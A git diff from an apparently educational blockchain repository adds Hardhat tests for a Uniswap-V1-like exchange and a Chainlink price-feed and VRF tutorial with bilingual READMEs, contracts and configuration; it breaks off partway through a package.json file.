+      const gasFee = await getGasFeeFromTx(tx)
+      const userBalanceAfter = await getBalance(user.address);
+      expect(userBalanceAfter - userBalanceBefore).to.be.gt(minAmount);
+      const userTokenBalance = await token.balanceOf(user.address);
+      expect(fromWei(userTokenBalance)).to.equal('20.0');
+
+      const exchangeBalanceAfter = await ethers.provider.getBalance(exchange.target);
+      expect(exchangeBalanceBefore - exchangeBalanceAfter).to.be.gt(minAmount);
+
+      const exchangeTokenBalance = await token.balanceOf(exchange.target);
+      expect(fromWei(exchangeTokenBalance)).to.equal('2002.0');
+    });
+
+    it('affects exchange rate', async () => {
+      let ethOut = await exchange.getEthAmount(toWei(20));
+      expect(fromWei(ethOut)).to.equal('9.802950787206654124');
+
+      await exchange.connect(user).tokenToEthSwap(toWei(20), toWei(9));
+
+      ethOut = await exchange.getEthAmount(toWei(20));
+      expect(fromWei(ethOut)).to.equal('9.61167838729939614');
+    });
+
+    it('fails when output amount is less than min amount', async () => {
+      await expect(exchange.connect(user).tokenToEthSwap(toWei(2), toWei(1.0))).to.be.revertedWith('insufficient output amount');
+    });
+
+    it('allows zero swaps', async () => {
+      const userBalanceBefore = await getBalance(user.address);
+      const tx = await exchange.connect(user).tokenToEthSwap(toWei(0), toWei(0));
+      const gasFee = await getGasFeeFromTx(tx)
+
+      const userBalanceAfter = await getBalance(user.address);
+      expect(userBalanceBefore - userBalanceAfter).to.equal(gasFee);
+
+      const userTokenBalance = await token.balanceOf(user.address);
+      expect(fromWei(userTokenBalance)).to.equal('22.0');
+
+      const exchangeEthBalance = await ethers.provider.getBalance(exchange.target);
+      expect(fromWei(exchangeEthBalance)).to.equal('1000.0');
+
+      const exchangeTokenBalance = await token.balanceOf(exchange.target);
+      expect(fromWei(exchangeTokenBalance)).to.equal('2000.0');
+    });
+  });
+
+  describe('tokenToTokenSwap', async () => {
+    it('swaps token for token', async () => {
+      const Factory = await ethers.getContractFactory('Factory');
+      const Token = await ethers.getContractFactory('Token');
+
+      const factory = await Factory.deploy();
+      const token = await Token.deploy('TokenA', 'AAA', toWei(1000000));
+      const token2 = await Token.connect(user).deploy('TokenB', 'BBBB', toWei(1000000));
+
+      await factory.waitForDeployment();
+      await token.waitForDeployment();
+      await token2.waitForDeployment();
+
+      const exchange = await createExchange(factory, token.target, owner);
+      console.log("exchange address" + exchange.target);
+      const exchange2 = await createExchange(factory, token2.target, user);
+      console.log("exchange2 address" + exchange2.target);
+
+      await token.approve(exchange.target, toWei(2000));
+      await exchange.addLiquidity(toWei(2000), { value: toWei(1000) });
+
+      await token2.connect(user).approve(exchange2.target, toWei(1000));
+      await exchange2.connect(user).addLiquidity(toWei(1000), { value: toWei(1000) });
+
+      expect(await token2.balanceOf(owner.address)).to.equal(0);
+
+      await token.approve(exchange.target, toWei(10));
+
+      console.log(exchange.target)
+      console.log(fromWei(await token2.allowance(user.address,exchange.target)) + "query approve");
+
+      await exchange.connect(owner).tokenToTokenSwap(toWei(10), toWei(4.8), token2.target);
+
+      expect(fromWei(await token2.balanceOf(owner.address))).to.equal('4.852698493489877956');
+
+      expect(await token.balanceOf(user.address)).to.equal(0);
+
+      await token2.connect(user).approve(exchange2.target, toWei(10));
+      await exchange2.connect(user).tokenToTokenSwap(toWei(10), toWei(19.6), token.target);
+
+      expect(fromWei(await token.balanceOf(user.address))).to.equal('19.602080509528011079');
+    });
+  });
+});
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/test/Factory.test.js b/basic/13-decentralized-exchange/uniswap-v1-like/test/Factory.test.js
new file mode 100644
index 000000000..3e0a787ef
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/test/Factory.test.js
@@ -0,0 +1,68 @@
+const { expect } = require("chai");
+const hre = require('hardhat');
+const ethers = hre.ethers;
+const toWei = (value) => ethers.parseEther(value.toString());
+
+describe("Factory", () => {
+  let owner;
+  let factory;
+  let token;
+
+  beforeEach(async () => {
+    [owner] = await ethers.getSigners();
+
+    const Token = await ethers.getContractFactory("Token");
+    token = await Token.deploy("Token", "TKN", toWei(1000000));
+    await token.waitForDeployment();
+
+    const Factory = await ethers.getContractFactory("Factory");
+    factory = await Factory.deploy();
+    await factory.waitForDeployment();
+  });
+
+  it("is deployed", async () => {
+    expect(factory.target).to.not.equal("");
+  });
+
+  describe("createExchange", () => {
+    it("deploys an exchange", async () => {
+      const exchangeAddress = await factory.createExchange.staticCall(token.target);
+      await factory.createExchange(token.target);
+
+      expect(await factory.getExchange(token.target)).to.equal(
+        exchangeAddress
+      );
+
+      const Exchange = await ethers.getContractFactory("Exchange");
+      const exchange = await Exchange.attach(exchangeAddress);
+      expect(await exchange.name()).to.equal("Uniswap-V1-like");
+      expect(await exchange.symbol()).to.equal("UNI-V1");
+      expect(await exchange.factoryAddress()).to.equal(factory.target);
+    });
+
+    it("doesn't allow zero address", async () => {
+      await expect(
+        factory.createExchange("0x0000000000000000000000000000000000000000")
+      ).to.be.revertedWith("invalid token address");
+    });
+
+    it("fails when exchange exists", async () => {
+      await factory.createExchange(token.target);
+
+      await expect(factory.createExchange(token.target)).to.be.revertedWith(
+        "exchange already exists"
+      );
+    });
+  });
+
+  describe("getExchange", () => {
+    it("returns exchange address by token address", async () => {
+      const exchangeAddress = await factory.createExchange.staticCall(token.target);
+      await factory.createExchange(token.target);
+
+      expect(await factory.getExchange(token.target)).to.equal(
+        exchangeAddress
+      );
+    });
+  });
+});
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/test/Token.test.js b/basic/13-decentralized-exchange/uniswap-v1-like/test/Token.test.js
new file mode 100644
index 000000000..4b1c5a8f4
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/test/Token.test.js
@@ -0,0 +1,26 @@
+const { expect } = require("chai");
+const hre = require('hardhat');
+const ethers = hre.ethers;
+describe("Token", () => {
+  let owner;
+  let token;
+
+  before(async () => {
+    [owner] = await ethers.getSigners();
+
+    const Token = await ethers.getContractFactory("Token");
+    token = await Token.deploy("Test Token", "TKN", 31337);
+    await token.waitForDeployment();
+  });
+
+  it("sets name and symbol when created", async () => {
+    expect(await token.name()).to.equal("Test Token");
+    expect(await token.symbol()).to.equal("TKN");
+  });
+
+  it("mints initialSupply to msg.sender when created", async () => {
+    expect(await token.totalSupply()).to.equal(31337);
+    expect(await token.balanceOf(owner.address)).to.equal(31337);
+  });
+});
+
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/utils/index.js b/basic/13-decentralized-exchange/uniswap-v1-like/utils/index.js
new file mode 100644
index 000000000..eadf194d3
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/utils/index.js
@@ -0,0 +1,17 @@
+const hre = require('hardhat');
+const ethers = hre.ethers;
+
+const GAS_PRICE = 1000000000n;
+
+const getGasFeeFromTx = async (tx) => {
+  if (tx && typeof tx.wait === 'function') {
+    const { gasUsed } = await tx.wait()
+    return gasUsed * GAS_PRICE
+  }
+  return 0n
+}
+
+module.exports = {
+  GAS_PRICE,
+  getGasFeeFromTx
+}
diff --git a/basic/14-chainlink-price-feed/.env.example b/basic/14-chainlink-price-feed/.env.example
new file mode 100644
index 000000000..5879a1c99
--- /dev/null
+++ b/basic/14-chainlink-price-feed/.env.example
@@ -0,0 +1,5 @@
+PRIVATE_KEY=xxxx
+PUBLIC_ADDRESS=xxxx
+MNEMONIC=xxxx
+API_KEY=xxxx
+SubscriptionId=xxxx
diff --git a/basic/14-chainlink-price-feed/.gitignore b/basic/14-chainlink-price-feed/.gitignore
new file mode 100644
index 000000000..a50bdcf0d
--- /dev/null
+++ b/basic/14-chainlink-price-feed/.gitignore
@@ -0,0 +1,8 @@
+node_modules
+
+#Hardhat files
+cache
+artifacts
+
+# contract address
+scripts/deployment.json
\ No newline at end of file
diff --git a/basic/14-chainlink-price-feed/README-CN.md b/basic/14-chainlink-price-feed/README-CN.md
new file mode 100644
index 000000000..519589f57
--- /dev/null
+++ b/basic/14-chainlink-price-feed/README-CN.md
@@ -0,0 +1,184 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/14-chainlink-price-feed/README.md)
+# 喂价 和 随机数 预言机
+
+区块链是非常安全可靠的价值交换网络，但却无法安全防篡改地获取链下数据或将数据发送至链下系统。使用 Chainlink 预言机喂价, 通过预言机网络在链上直接获取实时金融市场价格数据
+
+首先，我们可以在[这里](https://docs.chain.link/data-feeds/price-feeds/addresses)找到各个网络的喂价合约地址。然后，以ETH_USD为例，表示一个ETH能兑换多少USD，注意不要理解反了，不是ETH per USD的意思。接下来无论链上还是链下，我们都需要通过读取喂价器合约的方式获取价格信息。
+
+## 测试流程
+
+### 配置私钥
+
+在 .env 文件中放入私钥，和 infura 节点 id, 然后代码自动从中读取
+
+```js
+// .env
+PRIVATE_KEY = xxxxxxxxxxxxxxxx;
+INFURA_ID = yyyyyyyy;
+```
+
+### 安装依赖
+
+```sh
+yarn install
+```
+
+### 执行测试脚本
+
+```sh
+npx hardhat run scripts/01-PriceConsumerV3Deploy.js --network goerli
+```
+
+### 链下调用喂价机
+#### 获取最新数据
+```js
+// ./UsingDataFeedsByEthers.js
+require('dotenv').config();
+
+const { ethers } = require('ethers'); // for nodejs only
+const provider = new ethers.providers.JsonRpcProvider(`https://goerli.infura.io/v3/${process.env.INFURA_ID}`);
+const aggregatorV3InterfaceABI = require('@chainlink/contracts/abi/v0.8/AggregatorV3Interface.json');
+
+const addr = '0x9326BFA02ADD2366b30bacB125260Af641031331';
+const priceFeed = new ethers.Contract(addr, aggregatorV3InterfaceABI, provider);
+
+async function test() {
+  const roundData = await priceFeed.latestRoundData();
+  console.log("Latest Round Data", roundData);
+  const price = roundData[1];
+  const decimal = await priceFeed.decimals();
+  console.log("decimal = ", decimal);
+
+  console.log("eth's price = ", price.toNumber() / 10 ** decimal + "USD");
+}
+
+test();
+
+```
+
+返回数据格式如下：
+
+```js
+Latest Round Data [
+  BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true },
+  BigNumber { _hex: '0x5b755c30c0', _isBigNumber: true },
+  BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true },
+  roundId: BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true },
+  answer: BigNumber { _hex: '0x5b755c30c0', _isBigNumber: true },
+  startedAt: BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  updatedAt: BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  answeredInRound: BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true }
+]
+```
+
+- 完整示例看这里 [:point_right: UsingDataFeedsByEthers.js](./UsingDataFeedsByEthers.js)
+
+
+#### 链下获取历史数据
+
+Chainlink链上Api提供两个接口：
+- latestRoundData：获取最新价格数据
+- getRoundData：获取历史价格数据
+
+首先，了解什么round。chainlink会将链下聚合器的数据持续更新到链上，每次更新，就会更新roundId。更新的间隔是不定时的，快则几分钟更新一次，慢则几个小时，甚至几天更新一次价格。
+
+其次，roundId的构成，由两部分：phaseId和aggregatorRoundId. roundId生成方式如下：
+```
+roundId = (phaseId << 64)  | aggregatorRoundId
+```
+其中：
+- phaseId表示历史上聚合器的版本，从1开始，每次聚合器更新，就会让phase+1.
+- aggregatorRoundId表示对应聚合器版本下的轮数，每次更新一次喂价器数据，就会让这个编号加1.
+
+所以，遍历历史数据的思路如下：
+- 先根据latestRoundData，读取最新的phaseId.
+- phaseId从1开始，然后遍历aggregatorRoundId，也从1开始，如果遇到revert错误，就将phaseId+1.
+
+可以参考例子:[ethers获取历史数据](./scripts/04-HistoryData.js)
+
+
+
+### Chainlink VRF
+
+Chainlink VRF 可验证随机函数， 是一种可证明公平且可验证的随机性来源。作为防篡改随机数生成器，为依赖不可预测结果的任何应用程序构建构建智能合约。
+
+- 区块链游戏和 NFT
+- 随机分配职责和资源（例如随机分配法官审理案件）
+- 为共识机制选择具有代表性的样本
+
+### 操作流程
+
+1. 创建 ChainLink SubscriptionID  
+登陆 [ChainLink VRF 测试网](https://vrf.chain.link/?_ga=2.225785050.1950508783.1645630272-1230768383.1643005305) , 点击 "Create Subscription" 创建 SubscriptionID , 之后可以在 "My Subscriptions" 中看到创建的 SubscriptionID
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/ChainLinkVRF.png?raw=true" /></center> 
+
+
+2. 保存 SubscriptionID  
+将上一步创建的 SubscriptionID 保存到 .env 文件中 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/SubscriptionID.png?raw=true" /></center>
+
+```sh
+## .env
+SubscriptionId=ddddd
+```
+
+3. 运行部署脚本部署合约
+
+   ```sh
+   npx hardhat run scripts/02-RandomNumberConsumerDeploy.js --network goerli
+   ```
+
+4. 获取 ChainLink 币  
+登陆 [ChainLink Faucet](https://faucets.chain.link/) , 在, 获取 ChainLink 币用于后续的 RandomNumberConsume , 其中 Network 选择 goerli, "Testnet account address" 输入合约 owner 的账户地址
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/ChainLinkFaucet.png?raw=true" /></center>   
+
+
+5. 赋权合约消费 ChainLink 币以进行随机数获取    
+登陆 [ChainLink VRF 测试网](https://vrf.chain.link/?_ga=2.225785050.1950508783.1645630272-1230768383.1643005305) , 点击其中的 SubscriptionID 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/ClickSubscriptionID.png?raw=true" /></center>  
+
+
+之后在新出现的页面中, 进行 "Add Funds" 和 "Add consumer". 其中 "Add Funds" 为存入 ChainLink 币的数量, "Add consumer" 需要填入部署成功的 RandomNumberConsumer 合约地址, 即为步骤 3中打印出来的合约地址 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/AddFundsAddCustomer.png?raw=true" /></center>   
+
+
+6. 运行测试脚本  
+
+   ```sh
+   npx hardhat run  scripts/03-RandomNumberConsumer.js --network goerli
+   ```
+
+   结果可能需要等待 2 到 3 分钟，可以看到 ChainLink 返回的两个随机值
+
+   ```sh
+   ❯ npx hardhat run scripts/03-RandomNumberConsumer.js --network goerli
+   Listen on random number call...
+   Listen on random number result...
+   first transaction hash: 0xb822b742836e3e028102b938ff9b52f5c31ecbf00a663b4865c50f83d141c441
+   event RequestId(address,uint256)
+   random0 requestID:  BigNumber { value: "68813323376039607636454911576409413136200025762802867082556497319163019860937" }
+   event FulfillRandomness(uint256,uint256[])
+   args[0] : BigNumber { value: "68813323376039607636454911576409413136200025762802867082556497319163019860937" }
+   random0Res:  21345191237588857524675400331731955708910062406377169110385405370996391926856,49611358654743768743671276783545638722996121599596073254340228099561828202433
+   ```
+
+## todo
+
+增加聚合方式获取。
+
+## 参考文档
+
+参考文档链接如下：
+
+- https://zh.chain.link/
+- https://mp.weixin.qq.com/s/h0uTWY7vzd-CMdr1pE7_YQ
+- https://docs.chain.link/docs/ethereum-addresses/
+- https://learnblockchain.cn/article/2237
+- https://learnblockchain.cn/article/2558
+- https://learnblockchain.cn/article/1056
+- https://mp.weixin.qq.com/s/h0uTWY7vzd-CMdr1pE7_YQ
+- https://docs.chain.link/data-feeds/examples
+- https://docs.chain.link/data-feeds/historical-data
+- https://docs.chain.link/data-feeds/price-feeds/addresses
\ No newline at end of file
diff --git a/basic/14-chainlink-price-feed/README.md b/basic/14-chainlink-price-feed/README.md
new file mode 100644
index 000000000..96f2c798b
--- /dev/null
+++ b/basic/14-chainlink-price-feed/README.md
@@ -0,0 +1,155 @@
+English / [中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/14-chainlink-price-feed/README-CN.md)
+# Feed price and random number predictor
+
+Blockchain is a very secure and reliable network for the exchange of value, but there is no way to secure and tamper-proof access to off-chain data or send data to off-chain systems. Use Chainlink predictor to feed prices and obtain real-time financial market price data directly on the chain through the predictor network
+
+## Test Process
+
+### Configure the private key
+The private key put in **.env** in the format "PRIVATE_KEY= XXXX ", from which the code automatically reads.
+
+```js
+// .env
+PRIVATE_KEY = xxxxxxxxxxxxxxxx;
+INFURA_ID = yyyyyyyy;
+```
+
+### Install Dependencies
+
+```sh
+yarn install
+```
+
+### Executing the test script
+
+```sh
+npx hardhat run scripts/01-PriceConsumerV3Deploy.js --network goerli
+```
+
+### Off-Chain Call the price feeder
+
+```js
+// ./UsingDataFeedsByEthers.js
+require('dotenv').config();
+
+const { ethers } = require('ethers'); // for nodejs only
+const provider = new ethers.providers.JsonRpcProvider(`https://goerli.infura.io/v3/${process.env.INFURA_ID}`);
+const aggregatorV3InterfaceABI = require('@chainlink/contracts/abi/v0.8/AggregatorV3Interface.json');
+
+const addr = '0x9326BFA02ADD2366b30bacB125260Af641031331';
+const priceFeed = new ethers.Contract(addr, aggregatorV3InterfaceABI, provider);
+
+async function test() {
+  const roundData = await priceFeed.latestRoundData();
+  console.log("Latest Round Data", roundData);
+  const price = roundData[1];
+  const decimal = await priceFeed.decimals();
+  console.log("decimal = ", decimal);
+
+  console.log("eth's price = ", price.toNumber() / 10 ** decimal + "USD");
+}
+
+test();
+
+```
+
+The returned data format is as follows:
+
+```js
+Latest Round Data [
+  BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true },
+  BigNumber { _hex: '0x5b755c30c0', _isBigNumber: true },
+  BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true },
+  roundId: BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true },
+  answer: BigNumber { _hex: '0x5b755c30c0', _isBigNumber: true },
+  startedAt: BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  updatedAt: BigNumber { _hex: '0x61c3c368', _isBigNumber: true },
+  answeredInRound: BigNumber { _hex: '0x0200000000000029f5', _isBigNumber: true }
+]
+```
+
+- See a for the full example [:point_right: UsingDataFeedsByEthers.js](./UsingDataFeedsByEthers.js)
+
+
+
+### Chainlink VRF
+
+Chainlink VRF verifiable random function is a provably fair and verifiable source of randomness. As a tamper-proof random number generator, build smart contracts for any application builds that rely on unpredictable results.
+
+- Blockchain game and NFT
+- Randomly assigned responsibilities and resources (e.g. randomly assigned judges to hear cases)
+- Selection of representative samples for consensus mechanisms
+
+### Operation Process  
+
+1. Create ChainLink SubscriptionID  
+Login [ChainLink VRF Test network](https://vrf.chain.link/?_ga=2.225785050.1950508783.1645630272-1230768383.1643005305) , Click on" Create Subscription" to Create a SubscriptionID and you can see the created SubscriptionID under "My Subscriptions"
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/ChainLinkVRF.png?raw=true" /></center> 
+
+
+2. Save SubscriptionID  
+Save the SubscriptionID created in the previous step to **.env** 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/SubscriptionID.png?raw=true" /></center>
+
+```sh
+## .env
+SubscriptionId=ddddd
+```
+
+3. Run the deployment script to deploy the contract
+
+   ```sh
+   npx hardhat run scripts/02-RandomNumberConsumerDeploy.js --network rinkeby
+   ```
+
+4. Access to ChainLink coins  
+Login [ChainLink Faucet](https://faucets.chain.link/) , Get ChainLink coins for subsequent RandomNumberConsume, where Network selects Rinkeby and "Testnet Account Address "enters the account address of the contract owner
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/ChainLinkFaucet.png?raw=true" /></center>   
+
+
+5. Empower contracts to consume ChainLink coins for random number capture   
+Login [ChainLink VRF test network](https://vrf.chain.link/?_ga=2.225785050.1950508783.1645630272-1230768383.1643005305) , and Click **SubscriptionID** 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/ClickSubscriptionID.png?raw=true" /></center>  
+
+
+Then on the new page, "Add Funds" and "Add Consumer ". Where "Add Funds" is the number of ChainLink coins deposited, and "Add Consumer "needs to fill in the successfully deployed RandomNumberConsumer contract address, which is the contract address printed in Step 3 
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/14-chainlink-price-feed/AddFundsAddCustomer.png?raw=true" /></center>   
+
+
+6. Run the test script  
+
+   ```sh
+   npx hardhat run  scripts/03-RandomNumberConsumer --network rinkeby
+   ```
+
+  The result may take 2 to 3 minutes, and you can see two random values returned by ChainLink
+
+   ```sh
+   ❯ npx hardhat run scripts/03-RandomNumberConsumer.js --network rinkeby
+   Listen on random number call...
+   Listen on random number result...
+   first transaction hash: 0xb822b742836e3e028102b938ff9b52f5c31ecbf00a663b4865c50f83d141c441
+   event RequestId(address,uint256)
+   random0 requestID:  BigNumber { value: "68813323376039607636454911576409413136200025762802867082556497319163019860937" }
+   event FulfillRandomness(uint256,uint256[])
+   args[0] : BigNumber { value: "68813323376039607636454911576409413136200025762802867082556497319163019860937" }
+   random0Res:  21345191237588857524675400331731955708910062406377169110385405370996391926856,49611358654743768743671276783545638722996121599596073254340228099561828202433
+   ```
+
+## todo
+
+Will add aggregate obtain.
+
+## Reference Documentation
+
+Reference documents are linked below:
+
+- https://zh.chain.link/
+- https://mp.weixin.qq.com/s/h0uTWY7vzd-CMdr1pE7_YQ
+- https://docs.chain.link/docs/ethereum-addresses/
+- https://learnblockchain.cn/article/2237
+- https://learnblockchain.cn/article/2558
+- https://learnblockchain.cn/article/1056
+- https://mp.weixin.qq.com/s/h0uTWY7vzd-CMdr1pE7_YQ
diff --git a/basic/14-chainlink-price-feed/UsingDataFeedsByEthers.js b/basic/14-chainlink-price-feed/UsingDataFeedsByEthers.js
new file mode 100644
index 000000000..183490cc9
--- /dev/null
+++ b/basic/14-chainlink-price-feed/UsingDataFeedsByEthers.js
@@ -0,0 +1,21 @@
+require('dotenv').config();
+
+const { ethers } = require('ethers'); // for nodejs only
+const provider = new ethers.JsonRpcProvider(`https://sepolia.infura.io/v3/${process.env.INFURA_ID}`);
+const aggregatorV3InterfaceABI = require('@chainlink/contracts/abi/v0.8/AggregatorV3Interface.json');
+
+const addr = '0x694AA1769357215DE4FAC081bf1f309aDC325306';
+const priceFeed = new ethers.Contract(addr, aggregatorV3InterfaceABI, provider);
+
+async function test () {
+  const roundData = await priceFeed.latestRoundData();
+  console.log('Latest Round Data', roundData);
+  const price = roundData[1];
+  const decimal = await priceFeed.decimals();
+  // 精度是8位
+  console.log('decimal = ', decimal);
+
+  console.log("eth's price = ", price.toNumber() / 10 ** decimal + 'USD');
+}
+
+test();
diff --git a/basic/14-chainlink-price-feed/contracts/PriceConsumerV3.sol b/basic/14-chainlink-price-feed/contracts/PriceConsumerV3.sol
new file mode 100644
index 000000000..12df094bf
--- /dev/null
+++ b/basic/14-chainlink-price-feed/contracts/PriceConsumerV3.sol
@@ -0,0 +1,33 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.7;
+
+import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
+
+contract PriceConsumerV3 {
+
+    AggregatorV3Interface internal priceFeed;
+
+    /**
+     * Network: Sepolia
+     * Aggregator: ETH/USD
+     * Address: 0x694AA1769357215DE4FAC081bf1f309aDC325306
+     */
+    constructor(address _priceFeed) {
+        priceFeed = AggregatorV3Interface(_priceFeed);
+    }
+
+    /**
+     * Returns the latest price
+     */
+    function getLatestPrice() public view returns (int) {
+        (
+            uint80 roundID,
+            int price,
+            uint startedAt,
+            uint timeStamp,
+            uint80 answeredInRound
+        ) = priceFeed.latestRoundData();
+        return price;
+    }
+
+}
diff --git a/basic/14-chainlink-price-feed/contracts/RandomNumberConsumer.sol b/basic/14-chainlink-price-feed/contracts/RandomNumberConsumer.sol
new file mode 100644
index 000000000..a64b189fd
--- /dev/null
+++ b/basic/14-chainlink-price-feed/contracts/RandomNumberConsumer.sol
@@ -0,0 +1,99 @@
+// SPDX-License-Identifier: MIT
+// An example of a consumer contract that relies on a subscription for funding.
+pragma solidity ^0.8.7;
+
+import {VRFConsumerBaseV2Plus} from '@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol';
+import {VRFV2PlusClient} from '@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol';
+
+/**
+ * Request testnet LINK and ETH here: https://faucets.chain.link/
+ * Find information on LINK Token Contracts and get the latest ETH and LINK faucets here: https://docs.chain.link/docs/link-token-contracts/
+ */
+
+/**
+ * THIS IS AN EXAMPLE CONTRACT THAT USES HARDCODED VALUES FOR CLARITY.
+ * THIS IS AN EXAMPLE CONTRACT THAT USES UN-AUDITED CODE.
+ * DO NOT USE THIS CODE IN PRODUCTION.
+ */
+
+contract RandomNumberConsumer is VRFConsumerBaseV2Plus {
+    event RequestSent(address userAddress, uint256 requestId, uint32 numWords);
+    event RequestFulfilled(uint256 requestId, uint256[] randomWords);
+
+    struct RequestStatus {
+        bool fulfilled; // whether the request has been successfully fulfilled
+        bool exists; // whether a requestId exists
+        uint256[] randomWords;
+    }
+    mapping(uint256 => RequestStatus) public s_requests; /* requestId --> requestStatus */
+
+    // Your subscription ID.
+    uint256 public s_subscriptionId;
+
+    // Past request IDs.
+    uint256[] public requestIds;
+    uint256 public lastRequestId;
+
+    // The gas lane to use, which specifies the maximum gas price to bump to.
+    // For a list of available gas lanes on each network,
+    // see https://docs.chain.link/docs/vrf/v2-5/supported-networks
+    bytes32 public keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;
+
+    // Depends on the number of requested values that you want sent to the
+    // fulfillRandomWords() function. Storing each word costs about 20,000 gas,
+    // so 100,000 is a safe default for this example contract. Test and adjust
+    // this limit based on the network that you select, the size of the request,
+    // and the processing of the callback request in the fulfillRandomWords()
+    // function.
+    uint32 public callbackGasLimit = 100000;
+
+    // The default is 3, but you can set this higher.
+    uint16 public requestConfirmations = 3;
+
+    // For this example, retrieve 2 random values in one request.
+    // Cannot exceed VRFCoordinatorV2_5.MAX_NUM_WORDS.
+    uint32 public numWords = 2;
+
+    /**
+     * HARDCODED FOR SEPOLIA
+     * COORDINATOR: 0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B
+     */
+    constructor(uint256 subscriptionId) VRFConsumerBaseV2Plus(0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B) {
+        s_subscriptionId = subscriptionId;
+    }
+
+    // Assumes the subscription is funded sufficiently.
+    // @param enableNativePayment: Set to `true` to enable payment in native tokens, or
+    // `false` to pay in LINK
+    function requestRandomWords(bool enableNativePayment) external onlyOwner returns (uint256 requestId) {
+        // Will revert if subscription is not set and funded.
+        requestId = s_vrfCoordinator.requestRandomWords(
+            VRFV2PlusClient.RandomWordsRequest({
+                keyHash: keyHash,
+                subId: s_subscriptionId,
+                requestConfirmations: requestConfirmations,
+                callbackGasLimit: callbackGasLimit,
+                numWords: numWords,
+                extraArgs: VRFV2PlusClient._argsToBytes(VRFV2PlusClient.ExtraArgsV1({nativePayment: enableNativePayment}))
+            })
+        );
+        s_requests[requestId] = RequestStatus({randomWords: new uint256[](0), exists: true, fulfilled: false});
+        requestIds.push(requestId);
+        lastRequestId = requestId;
+        emit RequestSent(msg.sender, requestId, numWords);
+        return requestId;
+    }
+
+    function fulfillRandomWords(uint256 _requestId, uint256[] calldata _randomWords) internal override {
+        require(s_requests[_requestId].exists, 'request not found');
+        s_requests[_requestId].fulfilled = true;
+        s_requests[_requestId].randomWords = _randomWords;
+        emit RequestFulfilled(_requestId, _randomWords);
+    }
+
+    function getRequestStatus(uint256 _requestId) external view returns (bool fulfilled, uint256[] memory randomWords) {
+        require(s_requests[_requestId].exists, 'request not found');
+        RequestStatus memory request = s_requests[_requestId];
+        return (request.fulfilled, request.randomWords);
+    }
+}
diff --git a/basic/14-chainlink-price-feed/hardhat.config.js b/basic/14-chainlink-price-feed/hardhat.config.js
new file mode 100644
index 000000000..3af5152cc
--- /dev/null
+++ b/basic/14-chainlink-price-feed/hardhat.config.js
@@ -0,0 +1,39 @@
+require("@nomicfoundation/hardhat-ethers");
+require('dotenv').config({'path': './.env'});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+module.exports = {
+  defaultNetwork: "sepolia",
+  networks: {
+    hardhat: {
+      // // If you want to do some forking, uncomment this
+      // forking: {
+      //   url: mainnetRpcUrl
+      // }
+    },
+    sepolia: {
+      url: 'https://eth-sepolia.g.alchemy.com/v2/' + process.env.API_KEY, //<---- YOUR alchemy ID! (or it won't work)
+      accounts: [mnemonic()],
+      ignition: {
+        maxFeePerGasLimit: 10_000_000_000_000n,
+        maxPriorityFeePerGas: 20_000_000_000n,
+      }
+    },
+  },
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.7"
+      }
+    ]
+  },
+  etherscan: {
+    apiKey: "1234"
+  },
+  mocha: {
+    timeout: 6000000000000000
+  }
+}
diff --git a/basic/14-chainlink-price-feed/package.json b/basic/14-chainlink-price-feed/package.json
new file mode 100644
index 000000000..891fe11f7
--- /dev/null
+++ b/basic/14-chainlink-price-feed/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "Example14-hardhat-chainlink-PriceFeed",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
